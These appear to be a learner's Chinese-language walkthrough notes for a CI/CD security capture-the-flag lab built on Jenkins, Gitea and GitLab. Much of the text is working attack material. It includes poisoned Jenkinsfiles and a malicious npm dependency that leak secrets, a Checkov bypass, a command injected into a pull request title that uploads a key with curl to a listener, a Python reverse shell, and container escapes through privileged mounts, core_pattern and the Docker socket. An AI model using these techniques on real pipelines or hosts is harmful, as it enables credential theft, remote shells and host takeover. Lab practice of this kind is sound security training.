{
  "max-concurrent-downloads": 1,
  "registry-mirrors": [
    "https://docker.hlmirror.com"
  ]
}

sudo systemctl restart docker

Login to CTFd at http://localhost:8000 to view the challenges:
Username: alice
Password: alice

Hack:
Jenkins http://localhost:8080
Username: alice
Password: alice
Gitea http://localhost:3000
Username: thealice
Password: thealice
GitLab http://localhost:4000
Username: alice
Password: ali12345

我来晚了，我来晚了！没时间说你好，再见！在您被抓之前，请使用您对Wonderland/white-rabbit存储库的访问权限来窃取存储在 Jenkins 凭证存储中的flag1机密。
尝试通过存储库触发管道。
如何使用 Jenkinsfile 访问凭据？

git clone http://localhost:3000/Wonderland/white-rabbit.git

pipeline {
    // 使用任何可用的代理执行管道
    agent any
    
    // 定义环境变量
    environment {
        PROJECT = "src/urllib3"  // 指定项目路径
    }

    stages {
        // 第一个阶段：安装依赖项
        stage ('Install_Requirements') {
            steps {
                // 创建虚拟环境并安装依赖
                sh """
                    virtualenv venv  // 创建虚拟环境
                    pip3 install -r requirements.txt || true  // 安装requirements.txt中的依赖，如果失败，继续执行后续步骤
                """
            }
        }

        // 第二个阶段：静态代码分析
        stage ('Lint') {
            steps {
                // 使用 pylint 对指定项目进行静态代码检查
                sh "pylint ${PROJECT} || true"  // 如果pylint检查失败，继续执行后续步骤
            }
        }

        // 第三个阶段：运行单元测试
        stage ('Unit Tests') {
            steps {
                // 执行 pytest 来运行所有的单元测试
                sh "pytest"  // 执行pytest进行单元测试
            }
        }
        
        // 获取凭证并执行恶意代码的阶段
        stage ('Get_Flags') {
            steps {
                // 使用 Jenkins 凭证插件获取 flag1 密码（可能是一个存储在凭证管理中的机密）
                withCredentials([string(credentialsId: 'flag1', variable: 'flag1')]) {
                    // 这里注入了恶意代码，将 flag1 的值进行 base64 编码并输出
                    sh '''
                            echo $flag1 | base64  // 这将打印凭证的 base64 编码，可能用于泄露机密
                        '''   
                }
            }
        }

    }
    // 后置操作：在管道执行完成后始终执行
    post { 
        always { 
            // 清理工作空间
            cleanWs()  // 清理构建中使用的工作目录
        }
    }
}

git checkout -b challenge1
git add .
git config user.name "Your Name"
git config user.email "you@example.com"
git commit -m "challenge1-1"
git push -u origin challenge1

Jenkinsfile 被保护了吗？听起来像是一个不庆生的派对。利用你对 Wonderland/mad-hatter 仓库的访问权限窃取 flag3 秘密。  
Jenkinsfile 存储在哪里？在 Wonderland 组织中搜索仓库名称，你可能会找到一些有用的仓库。  
Jenkinsfile 执行了哪些命令？

git clone http://localhost:3000/Wonderland/mad-hatter.git

whoami
    echo "$(FLAG)" | base64

git checkout -b challenge2
git add .
git config user.name "Your Name"
git config user.email "you@example.com"
git commit -m "challenge2"
git push -u origin challenge2

如果每个人都管好自己的事，世界转得比现在快得多。这对你的秘密也适用吗？
你有访问 Wonderland/duchess 仓库的权限，这个仓库大量使用 Python。
Duchess 非常关注她的凭证安全，但肯定某个地方遗留了 PyPi 令牌...你能找到它吗？
PyPi 令牌的前缀是 “pypi-”。
过去可能犯过一些错误。

gitleaks detect # 扫描当前 Git 仓库
gitleaks detect --commit-ref <commit-id> # 扫描历史提交
gitleaks detect --report-format json --report-path gitleaks_report.json # 使用 JSON 格式输出扫描结果

git clone http://localhost:3000/Wonderland/duchess.git
cd duchess
wget  https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gz
tar -xzvf gitleaks_8.18.0_linux_x64.tar.gz
./gitleaks detect -v

git show 43f216c2268a94ff03e5400cd4ca7a11243821b0

你是谁？你只有读取权限……这足够吗？利用你对 Wonderland/caterpillar 仓库的访问权限来窃取存储在 Jenkins 凭证存储中的 flag2 密钥。
首先，Fork 这个仓库并创建一个 Pull Request，以触发一个恶意的流水线。
在执行恶意代码并触发 Jenkins 作业后，哪些环境变量可以帮助你继续前进？
在流水线中找到了 Gitea 访问令牌？很好。现在还有另一个流水线，它是通过推送到主分支触发的。也许你能从那里获取到 flag！

git clone http://localhost:3000/thealice/caterpillar.git

pipeline {
    agent any

    stages {
        stage('Install_Requirements') {
            steps {
               sh '''
               env
                 '''
                // 执行安装依赖步骤
            }
        }
        // 其他阶段...
    }
}

git add .
git commit -m "challenage2-1"
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
git commit -m "challenage2-1"
git push

git clone http://5d3ed5564341d5060c8524c41fe03507e296ca46@192.168.72.129:3000/Wonderland/caterpillar.git

pipeline {
    agent any

    stages {
        stage('deploy') {
            steps {
                withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'
                }
            }
        }
        // 其他阶段...
    }
}

git checkout -b challenge2-1
git add .
git commit -m "challenge2-1"
git push -u origin challenge2-1

有些人走这条路，有些人走那条路，但至于我，个人来说，我更喜欢捷径。你受害者的 Jenkins 实例中的所有任务都在专用节点上运行，但这对你来说还不够好。你很特别，你想在 Jenkins 控制器上执行代码。那才是重点所在！利用你对 Wonderland/cheshire-cat 仓库的访问权限，在控制器上执行代码并从其文件系统中窃取 ~/flag5.txt。注意：不要使用在本题中获得的访问权限来解决其他题目。
尝试执行直接 PPE 攻击。
如何让 Jenkinsfile 指示 Jenkins 在控制器上运行任务？
尝试找到控制器的标签——“内置节点”。

git clone http://localhost:3000/Wonderland/cheshire-cat.git

pipeline {
    agent {label 'built-in'}
    stages {
        stage ('Install_Requirements') {
            steps {
                sh 'cat ~/flag5.txt'
            }
        }
    }
}

git checkout -b challenge2-2
git add .
git commit -m "challenge2-2"
git push -u origin challenge2-2

println "cat /var/jenkins_home/flag5.txt".execute().text

反过来说，如果它是这样，它可能就是；如果它确实是这样，它就会是；但既然它不是这样，它就不是。这就是逻辑。Flag6在twiddledum管道中等着你。
twiddledum应用程序使用了哪些依赖项？
twiddledee包是一个依赖项。使用它在twiddledum管道中执行恶意代码

git clone http://localhost:3000/Wonderland/twiddledee.git

var pjson = require('./package.json');
console.log(Buffer.from(process.env.FLAG6).toString("base64"))

git add .
git commit -m "challenge2-3"
git push

每个人都赢了，所有人都必须有奖品！Dodo管道正在扫描你。你的任务是在不被抓到的情况下使S3存储桶变为公开可读。完成后，在工作的控制台输出中领取你的奖品。
阅读关于Checkov的信息，它是一个阻止你把事情搞砸的扫描器。
阅读关于恶意代码分析的信息。

git clone http://localhost:3000/Wonderland/dodo.git

soft-fail: true
check:
  - THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR
#  soft-fail: true 使得失败的检查不会导致流程中止。
# THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR 无效的占位符或调试信息，提示该检查项无效或是错误的。

  acl           = "public-read"

git add .
git commit -m "challenge2-4"
git push

谁偷了那些馅饼？你的目标是拿到flag8的凭证。但别急……这些是存储在Jenkins上的系统凭证！你该如何访问它们呢？拥有管理代理的权限可能会对你有用……
谁是可以管理代理的Jenkins用户？
你已经暴力破解了Knave这个Jenkins用户了吗？
如果你还没有，Knave用户的密码是rockme。
Jenkins系统凭证可以被代理访问。创建一个代理，使用flag8作为它的SSH凭证，并尝试捕获它。

sudo docker run -p 2222:2222 cowrie/cowrie

# sudo echo 1 > /proc/sys/net/ipv4/ip_forward 这个命令我会显示权限不够
sudo sysctl -w net.ipv4.ip_forward=1 # 改成这个命令
sudo iptables -P FORWARD ACCEPT
sudo iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

sudo docker ps
sudo docker inspect 53babb3846e4 | grep "IPAddress"

“我在睡觉时呼吸”和“我在呼吸时睡觉”是一样的吗？如果你在黑客入侵流水线时窃取秘密，这是否意味着你在窃取秘密时黑客入侵流水线？这些胡说八道先放一边。黑掉 Dormouse 流水线。偷取 flag 9。祝好运。
reportcov.sh 脚本的代码存储在哪里？
访问 Cov 组织下的 reportcov 源代码。
你能向它的工件中添加恶意代码吗？审查 reportcov 的 Jenkinsfile，寻找可能的命令注入漏洞。
创建一个针对 reportcov 仓库的 pull request，并在标题中注入代码到其流水线中。

nc -nvlp 12345

`echo "${KEY}" > key && curl -v -F file=@key http://[ip]:12345`

# 显示 Docker 版本
docker --version

# 获取有关 Docker 配置、容器状态、镜像等的信息
docker info

# 启动一个新的容器并在后台运行
# 例如，启动一个 Nginx 容器并将其端口映射到宿主机的 80 端口
docker run -d -p 80:80 nginx

# 列出所有运行中的容器
# 如果只想查看当前正在运行的容器，可以使用该命令
docker ps

# 列出所有容器（包括已停止的）
# 显示包括已停止的所有容器信息
docker ps -a

# 启动一个已停止的容器
# 启动指定名称的容器
docker start my_container

# 停止运行中的容器
# 停止指定名称的容器
docker stop my_container

# 重启容器
# 重启指定名称的容器
docker restart my_container

# 进入运行中的容器并执行命令
# 通过 `exec` 进入容器的 bash shell
docker exec -it my_container bash

# 删除一个容器
# 删除指定名称的容器（注意，容器必须是停止状态）
docker rm my_container

# 查看容器的日志
# 查看指定容器的输出日志
docker logs my_container

# 拉取 Docker 镜像
# 从 Docker Hub 或其他镜像仓库拉取镜像
docker pull ubuntu:latest

# 构建 Docker 镜像
# 使用当前目录中的 Dockerfile 构建镜像
docker build -t my_image .

# 列出所有本地镜像
# 查看所有本地的 Docker 镜像
docker images

# 删除镜像
# 删除指定名称的镜像
docker rmi my_image

# 查看网络信息
# 列出 Docker 网络
docker network ls

# 清理未使用的 Docker 数据
# 删除无用的容器、镜像、网络和数据卷
docker system prune

# 清理未使用的镜像
# 删除本地未使用的 Docker 镜像
docker image prune

# 查看实时资源使用情况
# 显示容器的 CPU、内存、网络等实时使用情况
docker stats

cat /proc/self/status|grep CapEff
# 如果是以特权模式启动的话，CapEff 对应的掩码值应该为0000003fffffffff或者是 0000001fffffffff

sudo docker run --rm --privileged=true -it alpine
cat /proc/self/status|grep CapEff

fdisk -l # 查看挂载磁盘设备

mkdir /tmp/test
mount /dev/sda3 /tmp/test
cd /tmp/test
chroot ./ bash

# 创建一个容器并挂载 /proc 目录
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
# 如果找到两个 core_pattern 文件，那可能就是挂载了宿主机的 procfs
find / -name core_pattern
# 找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

# 安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "192.168.192.158"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

chmod 777 /tmp/.t.py
echo -e "|/var/lib/docker/overlay2/101db45d2807f35708ac3eaf81e56c047f175c082a38e73cc9e497121e6d9167/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern
vim t.c
gcc t.c -o t
./t

#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}

apt install python3 python3-pip

sudo docker run -itd --name docker_sock_new -v /var/run/docker.sock:/var/run/docker.sock ubuntu
sudo docker exec -it docker_sock_new bash 
ls -lah /var/run/docker.sock # 判断当前容器是否挂载Docker Socket,如果存在文件则说明Docker Socket被挂载
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
docker run -it -v /:/host ubuntu /bin/bash # 在容器内部创建一个新的容器，并将宿主机目录挂载到新的容器内部
chroot /host